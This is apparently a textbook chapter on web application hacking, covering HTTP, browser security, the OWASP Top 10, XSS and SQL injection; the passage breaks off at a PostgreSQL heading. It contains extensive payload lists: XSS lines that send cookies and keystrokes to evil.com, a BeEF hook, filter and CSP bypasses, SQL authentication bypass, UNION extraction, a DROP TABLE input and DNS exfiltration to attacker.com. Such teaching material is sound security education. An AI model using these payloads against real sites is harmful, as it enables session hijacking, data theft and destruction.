Web applications are the most common target for hackers today. Why? Because EVERYTHING is on the web - banking, healthcare, government, shopping, social media. Over 80% of all cyberattacks target web applications. If you can hack the web, you can hack the world.
This chapter will teach you how web applications work at a fundamental level, then show you exactly where and how they break. By the end, you'll understand the architecture that powers the modern internet and see it through a hacker's eyes - every feature as a potential vulnerability, every input as an attack vector.
Career Reality Check
Over 70% of penetration testing jobs focus on web applications. Companies like Google, Facebook, Microsoft, and countless others pay bug bounties ranging from $500 to $100,000+ for web vulnerabilities. Master web security and you'll never be without work - or income.
π― Why Web Hacking?
- Every company has a web presence
- High reward bug bounties
- No physical access needed
- Attack from anywhere in the world
- Huge attack surface
π Web Vulnerability Stats
- Injection: #3 OWASP Top 10
- Broken Access Control: #1
- XSS: Still incredibly common
- Average website: 15+ vulnerabilities
- Bug bounty avg payout: $3,000+
How the Web Actually Works
Before you can hack websites, you need to understand what happens when you type a URL and press Enter. Most people have no idea - but as a hacker, you'll see the web as a complex dance of protocols, each step a potential opportunity to intercept, modify, or exploit.
The Complete Journey of a Web Request
# You type: https://bank.com/account
# ==================== STEP 1: URL PARSING ====================
# Browser breaks down the URL:
Protocol: https:// (use encryption)
Domain: bank.com (who we're talking to)
Path: /account (what we want)
Port: 443 (implied by https)
# ==================== STEP 2: DNS RESOLUTION ====================
# "What's the IP address of bank.com?"
Your Computer β Local DNS Cache (already know it?)
β Router DNS Cache (maybe router knows?)
β ISP DNS Server (usually knows common sites)
β Root DNS Servers (top of the chain)
β .com TLD Servers (handles all .com)
β bank.com Authoritative Server (final answer!)
Response: "bank.com is at 203.0.113.50"
# ==================== STEP 3: TCP CONNECTION ====================
# Your computer connects to 203.0.113.50 on port 443
Three-Way Handshake:
Your PC β [SYN] β Server "Hey, want to talk?"
Your PC β [SYN-ACK] β Server "Sure, I hear you!"
Your PC β [ACK] β Server "Great, we're connected!"
# ==================== STEP 4: TLS HANDSHAKE (HTTPS) ====================
# Establishing encrypted connection
Client Hello: "I support TLS 1.3, these ciphers..."
Server Hello: "Let's use TLS 1.3 with AES-256-GCM"
Certificate: "Here's my SSL certificate proving I'm bank.com"
Verification: Browser checks certificate against trusted CAs
Key Exchange: Both parties derive shared encryption key
Finished: All future traffic is encrypted!
# ==================== STEP 5: HTTP REQUEST SENT ====================
# Now encrypted and sent through the TLS tunnel
GET /account HTTP/1.1
Host: bank.com
Cookie: session=abc123def456
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
# ==================== STEP 6: SERVER PROCESSING ====================
# The web server receives and processes your request
1. Web Server (Apache/Nginx) receives request
2. Routes to application (PHP/Python/Node.js/etc.)
3. Application checks: Is this user logged in?
- Looks up session=abc123def456 in database
- Finds: User ID 1234, name "John Smith"
4. Application queries database:
- SELECT balance FROM accounts WHERE user_id = 1234
- Result: $10,000
5. Application generates HTML page with your data
6. Response sent back to browser
# ==================== STEP 7: HTTP RESPONSE ====================
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 12345
Set-Cookie: tracking=xyz789; SameSite=Lax
Cache-Control: no-store
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'
<!DOCTYPE html>
<html>
<head><title>Your Account</title></head>
<body>
<h1>Welcome, John Smith</h1>
<p>Your balance: $10,000</p>
</body>
</html>
# ==================== STEP 8: BROWSER RENDERING ====================
1. Parse HTML into DOM (Document Object Model)
2. Parse CSS into CSSOM (CSS Object Model)
3. Load external resources:
- <link href="styles.css"> β Another HTTP request
- <script src="app.js"> β Another HTTP request
- <img src="logo.png"> β Another HTTP request
4. Execute JavaScript
5. Paint pixels to screen
6. Handle user interactions
Every Step is an Attack Surface
Each step in this process can be attacked. Understanding where vulnerabilities exist is the first step to exploiting them:
π― DNS Attacks
DNS Poisoning: Corrupt DNS cache to redirect bank.com to attacker's fake site. Your browser shows "bank.com" but you're on evil.com.
DNS Hijacking: Compromise DNS server itself to redirect all lookups.
π Man-in-the-Middle
Without HTTPS: Attackers on your network can read and modify ALL traffic. See passwords, inject malware, steal sessions.
With HTTPS: Still vulnerable if user ignores certificate warnings or if CA is compromised.
πͺ Cookie/Session Attacks
Session Hijacking: Steal someone's session cookie and you become them. No password needed - you have their authenticated session.
Session Fixation: Force victim to use a session ID you know.
π Server-Side Attacks
Injection: SQL, Command, LDAP - trick server into executing attacker-controlled code.
Logic Flaws: Bypass payment, access other users' data, escalate privileges.
π± Client-Side Attacks
XSS: Inject JavaScript that runs in victim's browser. Steal cookies, capture keystrokes, perform actions.
CSRF: Trick victim's browser into making requests they didn't intend.
π§ Infrastructure Attacks
Server Vulnerabilities: Outdated software, misconfigurations, default credentials.
Supply Chain: Compromise libraries or CDNs that the site depends on.
Attack Surface Thinking
Every feature is a potential vulnerability. Every input is an attack vector. Every trust boundary can be crossed. When looking at a web application, ask yourself:
- What data does this accept? Can I inject malicious payloads?
- What trust assumptions are being made? Can I violate them?
- What happens if I do something unexpected?
- How does authentication/authorization work? Can I bypass it?
- What happens behind the scenes that I can't see?
HTTP Protocol Deep Dive
HTTP (HyperText Transfer Protocol) is the language browsers and servers speak. As a web hacker, you need to understand every byte of it - because every byte is a potential attack vector. This is the foundation of all web hacking.
HTTP Request Structure
# Every HTTP request has 3 parts: Request Line, Headers, Body
# ==================== THE REQUEST LINE ====================
POST /login HTTP/1.1
β β β
β β βββ Protocol version
β βββ Path/Resource being requested
βββ HTTP Method (what you're doing)
# ==================== REQUEST HEADERS ====================
Host: example.com # REQUIRED - which site
Content-Type: application/x-www-form-urlencoded # Format of body
Content-Length: 27 # Size of body in bytes
Cookie: session=abc123; tracking=xyz # Session cookies
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://example.com/previous-page
Origin: https://example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Requested-With: XMLHttpRequest # Indicates AJAX request
X-Forwarded-For: 192.168.1.1 # Original client IP (proxied)
# β EMPTY LINE separates headers from body
# ==================== REQUEST BODY ====================
username=admin&password=secret # Form data
# The body format depends on Content-Type:
# application/x-www-form-urlencoded: key=value&key2=value2
# application/json: {"username": "admin", "password": "secret"}
# multipart/form-data: For file uploads
HTTP Methods - What You're Asking For
| Method |
Purpose |
Hacker Interest |
| GET |
Retrieve data |
Parameters in URL - visible in logs, history, Referer header. Never use for sensitive data but devs do anyway! |
| POST |
Submit data |
Body can contain injection payloads. Most common method for login, forms, API calls. |
| PUT |
Update/create resource |
Sometimes allows arbitrary file upload! Check if you can PUT files to web root. |
| DELETE |
Remove resource |
Authorization bypass = delete any resource. Test with other users' resources. |
| PATCH |
Partial update |
Often has different validation than PUT. Try mass assignment attacks. |
| OPTIONS |
Check allowed methods |
Reveals what server accepts. Check for dangerous methods like PUT, DELETE, TRACE. |
| HEAD |
GET without body |
Bypass content-based security checks while still seeing headers. |
| TRACE |
Debug/echo request |
Can steal cookies via XSS (Cross-Site Tracing). Usually disabled. |
| CONNECT |
Tunnel (for proxies) |
Can create tunnels through proxy servers. SSRF potential. |
HTTP Response Structure
# ==================== STATUS LINE ====================
HTTP/1.1 200 OK
β β β
β β βββ Status text (human readable)
β βββ Status code (machine readable)
βββ Protocol version
# ==================== RESPONSE HEADERS ====================
Date: Mon, 15 Jan 2024 12:00:00 GMT
Server: Apache/2.4.41 (Ubuntu) # β Version disclosure!
X-Powered-By: PHP/8.0.0 # β Technology disclosure!
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Set-Cookie: session=newvalue; HttpOnly; Secure; SameSite=Strict
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains
# β EMPTY LINE
# ==================== RESPONSE BODY ====================
<!DOCTYPE html>
<html>
<head><title>Example</title></head>
<body>Response content here</body>
</html>
HTTP Status Codes - What They Tell You
# ==================== 1xx - INFORMATIONAL ====================
100 Continue # Server received headers, send body
101 Switching Protocols # WebSocket upgrade
# ==================== 2xx - SUCCESS ====================
200 OK # Request worked!
201 Created # Resource created (POST/PUT success)
204 No Content # Success but nothing to return
206 Partial Content # Range request (video streaming, downloads)
# ==================== 3xx - REDIRECTION ====================
301 Moved Permanently # Resource permanently moved, update bookmarks
302 Found # Temporary redirect (most common)
304 Not Modified # Use cached version
307 Temporary Redirect # Like 302 but preserves method
308 Permanent Redirect # Like 301 but preserves method
# ==================== 4xx - CLIENT ERRORS ====================
400 Bad Request # Malformed request (your syntax is wrong)
401 Unauthorized # Need to authenticate (who are you?)
403 Forbidden # Authenticated but not allowed (you can't do that)
404 Not Found # Resource doesn't exist
405 Method Not Allowed # Wrong HTTP method for this endpoint
408 Request Timeout # Server gave up waiting
413 Payload Too Large # Request body too big
414 URI Too Long # URL is too long
429 Too Many Requests # Rate limited! Slow down
# ==================== 5xx - SERVER ERRORS ====================
500 Internal Server Error # Server crashed (INTERESTING! Stack traces?)
501 Not Implemented # Server doesn't support this method
502 Bad Gateway # Backend server failed
503 Service Unavailable # Server overloaded/maintenance
504 Gateway Timeout # Backend server took too long
Status Code Enumeration
Different response codes reveal valuable information:
- 403 vs 404: 403 means "I see it but you can't access it" - the resource EXISTS. 404 means "doesn't exist". This reveals valid usernames, files, endpoints.
- 401 vs 403: 401 means "authenticate first", 403 means "you're authenticated but still can't". Helps understand auth model.
- 500 errors: Often include stack traces, file paths, database errors - goldmine of information!
- 302 redirects: Where does it go? Internal URLs, admin panels, debug endpoints?
Critical HTTP Headers for Hackers
# ==================== SECURITY HEADERS (look for missing ones!) ====================
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
# Controls what resources can be loaded. Missing = easier XSS
# 'unsafe-inline' = XSS might still work!
# 'unsafe-eval' = eval() allowed, easier exploitation
X-Frame-Options: DENY | SAMEORIGIN | ALLOW-FROM uri
# Prevents clickjacking. Missing = site can be framed
# DENY = can't be framed anywhere
# SAMEORIGIN = only same origin can frame
X-XSS-Protection: 1; mode=block
# Browser's built-in XSS filter. Deprecated but still seen
# 0 = disabled (interesting!)
# 1 = enabled
# 1; mode=block = block page entirely
X-Content-Type-Options: nosniff
# Prevents MIME sniffing. Missing = browser might execute CSS as JS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Forces HTTPS. Missing = can strip SSL with MITM
# ==================== AUTHENTICATION HEADERS ====================
Cookie: session=abc123; user_id=1; role=admin
# Session management. Look for:
# - Predictable values
# - Sensitive data in clear text
# - Missing HttpOnly/Secure flags
Authorization: Basic dXNlcjpwYXNz # base64(user:pass)
Authorization: Bearer eyJhbGciOiJIUzI1NiIs... # JWT token
Authorization: Digest username="user"... # Digest auth
Set-Cookie: session=abc123;
Path=/;
Domain=.example.com;
Expires=Thu, 01 Jan 2025 00:00:00 GMT;
HttpOnly; # Can't access via JavaScript
Secure; # Only sent over HTTPS
SameSite=Strict; # Only sent to same origin
# ==================== INFORMATION DISCLOSURE ====================
Server: Apache/2.4.41 (Ubuntu) # Exact version = search for CVEs
X-Powered-By: PHP/7.4.3 # Backend technology
X-AspNet-Version: 4.0.30319 # .NET version
X-Generator: WordPress 5.8 # CMS and version
# ==================== CORS HEADERS (Cross-Origin Resource Sharing) ====================
Access-Control-Allow-Origin: * # DANGEROUS! Any site can read
Access-Control-Allow-Origin: https://trusted.com # Only this origin
Access-Control-Allow-Credentials: true # Include cookies
Access-Control-Allow-Methods: GET, POST, PUT # Allowed methods
Access-Control-Allow-Headers: X-Custom-Header # Allowed request headers
# Misconfigurations to look for:
# - Origin: * with Credentials: true (shouldn't work but sometimes does)
# - Reflecting Origin header without validation
# - Allowing null origin
Working with HTTP - Practical Tools
# ==================== COMMAND LINE HTTP ====================
# Using curl
curl https://example.com # Simple GET
curl -v https://example.com # Verbose (see headers)
curl -I https://example.com # HEAD request (headers only)
curl -X POST https://example.com/login # Specify method
curl -d "user=admin&pass=123" URL # POST data
curl -H "Cookie: session=abc" URL # Custom header
curl -H "Content-Type: application/json" \
-d '{"user":"admin"}' URL # JSON POST
curl -k https://self-signed.com # Ignore SSL errors
curl -L URL # Follow redirects
curl -b cookies.txt -c cookies.txt URL # Use/save cookies
curl -x http://127.0.0.1:8080 URL # Through proxy (Burp)
# Using netcat (raw HTTP)
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
# Using httpie (more readable)
http GET https://example.com
http POST https://example.com/login user=admin pass=123
http PUT https://example.com/api/user/1 name=hacker
# ==================== BROWSER DEV TOOLS ====================
# Chrome/Firefox: Press F12
Network Tab:
- See all requests and responses
- View/edit cookies
- Copy as cURL command
- Replay requests
- Throttle network speed
Console Tab:
- Execute JavaScript
- Access document.cookie
- Manipulate DOM
- Test XSS payloads
Application Tab:
- View cookies, localStorage, sessionStorage
- Examine service workers
- Check cached resources
Browser Security Model
Browsers are your attack platform AND your target's defense. Understanding how browsers protect users helps you bypass those protections. The browser is the battlefield where client-side attacks play out.
Same-Origin Policy (SOP) - The Foundation
The most important browser security feature. It prevents a website from reading data from another website. Without SOP, any website could read your bank account balance, your email, your private messages.
# ==================== WHAT DEFINES AN "ORIGIN"? ====================
# Origin = Protocol + Domain + Port (all three must match!)
https://example.com:443 β Origin 1
https://example.com:443 β SAME ORIGIN (port 443 is default for https)
http://example.com:80 β DIFFERENT (protocol: http vs https)
https://sub.example.com:443 β DIFFERENT (domain: sub.example.com)
https://example.com:8080 β DIFFERENT (port: 8080 vs 443)
https://example.org:443 β DIFFERENT (domain: .org vs .com)
# ==================== WHAT SOP PREVENTS ====================
# evil.com CANNOT:
- Read responses from bank.com
- Access bank.com cookies or localStorage
- Read bank.com DOM content
- Access bank.com frames/iframes content
# Example: evil.com tries to steal your bank data
fetch('https://bank.com/api/balance')
.then(r => r.json())
.then(data => sendToEvil(data)); // BLOCKED by SOP!
# ==================== WHAT SOP ALLOWS (ATTACK SURFACE!) ====================
# evil.com CAN:
- Send requests TO bank.com (CSRF attacks!)
- Embed images FROM bank.com (<img src="bank.com/logo.png">)
- Include scripts FROM bank.com (<script src="bank.com/jquery.js">)
- Link TO bank.com (<a href="bank.com">)
- Embed bank.com in iframe (if not blocked by X-Frame-Options)
- Submit forms TO bank.com
# This is why CSRF works - you can SEND requests, just not READ responses
# ==================== SOP BYPASS MECHANISMS ====================
# CORS (Cross-Origin Resource Sharing)
# Server explicitly allows certain origins to read responses
Access-Control-Allow-Origin: https://trusted.com
# JSONP (old technique, still sometimes used)
# Script tags bypass SOP, so server wraps data in callback
<script src="bank.com/api/data?callback=myFunction">
# Returns: myFunction({"balance": 10000})
# document.domain relaxation
# Subdomains can access each other by setting document.domain
# app.example.com and api.example.com both set document.domain = "example.com"
# postMessage API
# Windows can explicitly send messages to each other
window.parent.postMessage("data", "https://target.com");
Cookies - Session Management Deep Dive
# ==================== COOKIE STRUCTURE ====================
Set-Cookie: session=abc123xyz; # Name=Value
Domain=.example.com; # Which domains receive this cookie
Path=/app; # Which paths receive this cookie
Expires=Thu, 01 Jan 2026 00:00:00 GMT; # When it expires
Max-Age=31536000; # Alternative to Expires (seconds)
HttpOnly; # JavaScript CAN'T access
Secure; # Only sent over HTTPS
SameSite=Strict; # CSRF protection
# ==================== COOKIE FLAGS EXPLAINED ====================
HttpOnly:
- JavaScript document.cookie CANNOT see this cookie
- Protects against XSS session theft
- CRITICAL for session cookies
- Check: if XSS exists but cookie is HttpOnly, you need other tricks
Secure:
- Cookie only sent over HTTPS connections
- Prevents sniffing over HTTP
- Not set? Cookie sent in clear text on HTTP
SameSite:
- Strict: Cookie NEVER sent cross-site (breaks some UX)
- Lax: Sent on top-level navigations (links) but not forms/AJAX
- None: Always sent (must have Secure flag)
# ==================== VULNERABILITY EXAMPLES ====================
# Missing HttpOnly
Set-Cookie: session=abc123
# XSS can steal: document.cookie β "session=abc123"
# Missing Secure
Set-Cookie: session=abc123; HttpOnly
# Man-in-the-middle can sniff cookie on HTTP connection
# Missing SameSite (or None)
Set-Cookie: session=abc123; HttpOnly; Secure
# CSRF attacks possible - cookie sent on cross-site requests
# Overly Broad Domain
Set-Cookie: session=abc123; Domain=.example.com
# ANY subdomain can read AND set this cookie
# evil.example.com can steal session from app.example.com
# Predictable Value
Set-Cookie: session=user123_1705123456
# Attacker can guess other sessions: user456_1705123456
# Sensitive Data in Cookie
Set-Cookie: user_role=admin; user_id=123
# Attacker might just change: user_role=superadmin
Content Security Policy (CSP)
# ==================== CSP BASICS ====================
# CSP controls what resources a page can load
# Sent as HTTP header or meta tag
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src *;
frame-ancestors 'none';
# ==================== CSP DIRECTIVES ====================
default-src # Fallback for all resource types
script-src # JavaScript sources
style-src # CSS sources
img-src # Image sources
font-src # Font sources
connect-src # AJAX, WebSocket, fetch destinations
frame-src # iframe sources
frame-ancestors # What can frame this page (replaces X-Frame-Options)
form-action # Where forms can submit
base-uri # Allowed base URLs
object-src # Flash, Java applets (block with 'none')
report-uri # Where to send violation reports
# ==================== CSP VALUES ====================
'self' # Same origin only
'none' # Block everything
'unsafe-inline' # Allow inline scripts/styles (weakens protection!)
'unsafe-eval' # Allow eval() (weakens protection!)
'nonce-abc123' # Only scripts with matching nonce
'sha256-...' # Only scripts matching hash
https: # Only HTTPS resources
*.example.com # All subdomains of example.com
# ==================== BYPASSING CSP ====================
# If 'unsafe-inline' is present:
- XSS with inline scripts works normally
# If JSONP endpoint on whitelisted domain:
<script src="trusted.com/api?callback=alert(1)//"></script>
# If AngularJS on whitelisted CDN:
{{constructor.constructor('alert(1)')()}}
# If base-uri not set:
<base href="https://evil.com/">
# Now all relative URLs load from evil.com
# If script-src includes 'unsafe-eval':
eval('alert(1)');
new Function('alert(1)')();
# CSP Report-Only mode (doesn't block, just reports):
Content-Security-Policy-Report-Only: ...
# Good for testing, but might be left in production!
Other Browser Security Features
πΌοΈ X-Frame-Options
Purpose: Prevent clickjacking by controlling whether page can be framed.
DENY # Never allow framing
SAMEORIGIN # Only same origin
ALLOW-FROM url # Specific URL (deprecated)
Missing? Page can be framed β clickjacking possible!
π HSTS
Purpose: Force HTTPS, prevent SSL stripping attacks.
Strict-Transport-Security:
max-age=31536000;
includeSubDomains;
preload
Missing? First request vulnerable to MITM.
π X-Content-Type-Options
Purpose: Prevent MIME sniffing (treating CSS as JavaScript).
X-Content-Type-Options: nosniff
Missing? Browser might execute non-script as script.
π CORS
Purpose: Allow controlled cross-origin requests.
Access-Control-Allow-Origin: *
# DANGEROUS with credentials!
Misconfigured? Arbitrary sites can read responses.
OWASP Top 10: The Most Critical Vulnerabilities
OWASP (Open Web Application Security Project) maintains the definitive list of the most dangerous web vulnerabilities. This list is updated periodically based on real-world data. Every web hacker must know these inside and out - they represent the most common and impactful vulnerabilities you'll encounter.
Why OWASP Top 10 Matters
The OWASP Top 10 isn't just a list - it's a framework that drives the entire security industry. Penetration test reports are often organized around it. Security tools scan for it. Compliance frameworks reference it. Bug bounty programs prioritize it. If you understand these 10 categories deeply, you understand web security.
A01: Broken Access Control π₯
The #1 vulnerability. Users can access resources they shouldn't. Examples:
- IDOR: Changing /user/123 to /user/124 shows another user's data
- Privilege escalation: Normal user accesses admin functions
- Directory traversal: ../../etc/passwd
- Missing function-level access control
A02: Cryptographic Failures
Sensitive data exposed due to weak or missing cryptography:
- Passwords stored in plaintext or with weak hashing (MD5)
- HTTP instead of HTTPS
- Weak encryption algorithms (DES, RC4)
- Hardcoded encryption keys
- Sensitive data in URL parameters
A03: Injection π
Untrusted data interpreted as commands:
- SQL Injection (SQLi)
- NoSQL Injection
- OS Command Injection
- LDAP Injection
- XPath Injection
- Template Injection (SSTI)
A04: Insecure Design
Architectural flaws that can't be fixed with code - requires redesign:
- Missing rate limiting on password reset
- Security questions with public answers
- Trusting client-side validation only
- Flawed business logic
A05: Security Misconfiguration
Insecure defaults, incomplete configs, verbose errors:
- Default passwords unchanged
- Unnecessary features enabled
- Stack traces in error messages
- Missing security headers
- Directory listing enabled
- Cloud storage publicly accessible
A06: Vulnerable Components
Using libraries with known vulnerabilities:
- Outdated frameworks (Struts, Spring)
- Vulnerable JavaScript libraries
- Unpatched CMS (WordPress, Drupal)
- No component inventory
- Log4j, jQuery, Bootstrap vulnerabilities
A07: Auth Failures
Broken authentication and session management:
- Weak passwords allowed
- Credential stuffing vulnerable
- Session fixation
- Session tokens in URL
- Missing MFA
- Sessions that don't expire
A08: Software Integrity Failures
Code from untrusted sources, insecure updates:
- CDN scripts without integrity checks
- Insecure CI/CD pipelines
- Auto-updates without verification
- Deserialization vulnerabilities
A09: Logging Failures
Insufficient logging and monitoring:
- Login failures not logged
- No alerting on attacks
- Logs stored only locally
- Sensitive data in logs
- No log integrity protection
A10: SSRF
Server-Side Request Forgery - server makes requests on attacker's behalf:
- Access internal services
- Cloud metadata endpoints
- Port scanning from server
- Bypass access controls
- Read local files via file:// protocol
β οΈ Beyond the Top 10
The OWASP Top 10 is a starting point, not a complete list. Other critical vulnerabilities include:
- XML External Entity (XXE): Parsing XML that references external entities
- Insecure Direct Object Reference (IDOR): Direct access to objects via user input
- Business Logic Flaws: Abusing legitimate functionality
- Race Conditions: Exploiting timing windows
- HTTP Request Smuggling: Bypassing security with malformed requests
Cross-Site Scripting (XSS)
XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. It's one of the most common and dangerous vulnerabilities - and one of the most fun to exploit. When you find XSS, you can make the victim's browser do almost anything they could do themselves.
Types of XSS
π Reflected XSS
Payload is in the request and immediately reflected in the response. Victim must click a malicious link. Non-persistent.
# Vulnerable URL:
/search?q=<script>alert(1)</script>
# Page shows:
"Results for <script>alert(1)</script>"
# Attack: Send victim this link:
https://shop.com/search?q=<script>
document.location='https://evil.com/steal?c='
+document.cookie</script>
πΎ Stored XSS
Payload stored in database, served to ALL users who view that page. Persistent and more dangerous. Comments, profiles, messages.
# Attacker posts comment:
"Great article! <script>
fetch('https://evil.com/steal?c='
+document.cookie)
</script>"
# Every visitor to the page:
- Gets the script executed
- Cookies sent to attacker
- Session hijacked!
π§ DOM-based XSS
Payload never hits server - client-side JavaScript processes attacker input unsafely. Harder to detect because server logs show nothing suspicious.
# Vulnerable JavaScript:
document.write(location.hash)
document.getElementById('x').innerHTML = url
# Attack:
page.html#<img src=x onerror=alert(1)>
# Sources: location.hash, location.search
# Sinks: innerHTML, document.write, eval
XSS Payloads - From Basic to Advanced
# ==================== BASIC DETECTION ====================
<script>alert('XSS')</script> # Classic
<script>alert(document.domain)</script> # Prove which domain
<script>alert(document.cookie)</script> # Show cookies
# ==================== TAG-BASED (when <script> filtered) ====================
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)> # No space needed
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
# ==================== EVENT HANDLER VARIATIONS ====================
<div onmouseover=alert(1)>Hover me</div>
<div onclick=alert(1)>Click me</div>
<div onmouseenter=alert(1)>x</div>
<body onpageshow=alert(1)>
<body onresize=alert(1)> (resize window)
# ==================== BYPASSING FILTERS ====================
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
# Encoded characters
<script>alert(String.fromCharCode(88,83,83))</script> # "XSS"
<img src=x onerror=alert(1)> # HTML entities
<img src=x onerror=\u0061lert(1)> # Unicode
# Breaking out of attributes
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
# Nested/double encoding
%253Cscript%253Ealert(1)%253C/script%253E
# JavaScript protocol
<a href="javascript:alert(1)">click</a>
<a href="JaVaScRiPt:alert(1)">click</a>
# Data URI
<a href="data:text/html,<script>alert(1)</script>">click</a>
# SVG with embedded script
<svg><script>alert(1)</script></svg>
# Template literals (ES6)
<script>alert`1`</script>
# ==================== STEALING COOKIES ====================
<script>
new Image().src="https://evil.com/steal?c="+document.cookie;
</script>
<script>
fetch('https://evil.com/steal?c='+document.cookie);
</script>
<img src=x onerror="this.src='https://evil.com/steal?c='+document.cookie">
# ==================== KEYLOGGER ====================
<script>
document.onkeypress=function(e){
new Image().src="https://evil.com/log?k="+e.key;
}
</script>
# ==================== FORM HIJACKING ====================
<script>
document.forms[0].action='https://evil.com/phish';
</script>
# ==================== DEFACEMENT ====================
<script>
document.body.innerHTML='<h1>Hacked by XSS</h1>';
</script>
# ==================== BEEFHOOK (Advanced) ====================
<script src="https://evil.com/hook.js"></script>
# BeEF framework gives full browser control
XSS Contexts and Breakouts
# ==================== HTML CONTEXT ====================
# Your input appears in HTML body
<p>Hello USER_INPUT</p>
# Payload: <script>alert(1)</script>
# ==================== ATTRIBUTE CONTEXT ====================
# Your input is inside an HTML attribute
<input value="USER_INPUT">
# Payload: " onmouseover="alert(1)
# Result: <input value="" onmouseover="alert(1)">
# Single quotes:
<input value='USER_INPUT'>
# Payload: ' onfocus='alert(1)' autofocus='
# ==================== JAVASCRIPT CONTEXT ====================
# Your input is inside a script block
<script>var x = 'USER_INPUT';</script>
# Payload: ';alert(1);//
# Result: <script>var x = '';alert(1);//';</script>
# ==================== URL CONTEXT ====================
<a href="USER_INPUT">
# Payload: javascript:alert(1)
# ==================== CSS CONTEXT ====================
<style>body { background: USER_INPUT }</style>
# Payload: red;} </style><script>alert(1)</script>
β οΈ XSS Prevention
When testing, always get permission. When defending:
- Output encoding: Escape < > & " ' based on context
- Content Security Policy: Restrict script sources
- HttpOnly cookies: Prevent cookie theft
- Input validation: Whitelist allowed characters
- Modern frameworks: React, Angular auto-escape by default
SQL Injection - The King of Web Vulnerabilities
SQL injection lets attackers manipulate database queries by injecting malicious SQL code. It can bypass authentication, extract entire databases, modify or delete data, and even execute system commands. SQLi has been around for over 20 years and is STILL one of the most dangerous and common vulnerabilities.
How SQL Injection Works
# ==================== THE VULNERABLE CODE ====================
# Developer writes this PHP code:
$query = "SELECT * FROM users WHERE name = '" + $username + "'";
# ==================== NORMAL INPUT ====================
Input: john
Query: SELECT * FROM users WHERE name = 'john'
Result: Returns user "john" - works correctly!
# ==================== MALICIOUS INPUT ====================
Input: ' OR '1'='1
Query: SELECT * FROM users WHERE name = '' OR '1'='1'
Result: Returns ALL users! (because '1'='1' is always true)
# ==================== AUTHENTICATION BYPASS ====================
Login form asks for username and password:
SELECT * FROM users WHERE username = '$user' AND password = '$pass'
Input: admin' --
Query: SELECT * FROM users WHERE username = 'admin' --' AND password = 'whatever'
Result: The -- comments out the rest, so password check is IGNORED!
You're now logged in as admin!
# ==================== DESTRUCTIVE INPUT ====================
Input: '; DROP TABLE users; --
Query: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
Result: First query returns nothing, second query DELETES THE TABLE!
# ==================== WHY IT WORKS ====================
The application TRUSTS user input
It CONCATENATES user input directly into the query
The database EXECUTES the combined query without knowing parts are malicious
# ==================== THE FIX: PARAMETERIZED QUERIES ====================
# Instead of string concatenation:
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$username]);
# Now the input is ALWAYS treated as data, never as code!
SQL Injection Types
π In-Band SQLi (Classic)
Results appear directly on the page. Easiest to exploit.
# Union-based: Combine results
' UNION SELECT username,password FROM users--
# Error-based: Force errors that reveal data
' AND 1=CONVERT(int,@@version)--
π Blind SQLi (Boolean)
No data shown, but page behaves differently based on true/false. Slow data extraction.
# If first char of password = 'a'
' AND SUBSTRING(password,1,1)='a'--
# Page different? We guessed correctly!
β±οΈ Blind SQLi (Time-based)
Use SLEEP() - if page delays, condition was true. Slowest but works when all else fails.
# If condition true, wait 5 seconds
' OR IF(1=1,SLEEP(5),0)--
# 5 second delay = condition true!
π‘ Out-of-Band SQLi
Exfiltrate data via DNS or HTTP requests to attacker's server. When other methods fail.
# MySQL - DNS exfil
' UNION SELECT LOAD_FILE(
CONCAT('\\\\',password,'.attacker.com\\a')
) FROM users--
SQLi Payloads Reference
# ==================== DETECTION PAYLOADS ====================
' # Single quote - causes error if vulnerable
'' # Two quotes - should NOT cause error
' OR '1'='1 # Always true
' OR '1'='2 # Always false (compare response)
' AND '1'='1 # True condition
' AND '1'='2 # False condition
1 OR 1=1 # Numeric context
1 AND 1=2 # Numeric false
# ==================== AUTHENTICATION BYPASS ====================
admin' --
admin' # # MySQL comment
admin'/* # Multi-line comment
' OR 1=1--
' OR 'x'='x
') OR ('1'='1
' OR ''='
' OR 1=1#
# ==================== UNION-BASED DATA EXTRACTION ====================
# Step 1: Find number of columns
' ORDER BY 1-- # Works
' ORDER BY 2-- # Works
' ORDER BY 3-- # Error! So there are 2 columns
# Alternative method:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- # This one works!
# Step 2: Find visible columns
' UNION SELECT 'a',NULL,NULL-- # See which column displays 'a'
# Step 3: Extract data
' UNION SELECT username,password,NULL FROM users--
# ==================== DATABASE ENUMERATION ====================
# MySQL
' UNION SELECT @@version,NULL-- # Version
' UNION SELECT database(),NULL-- # Current DB
' UNION SELECT user(),NULL-- # Current user
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
# PostgreSQL
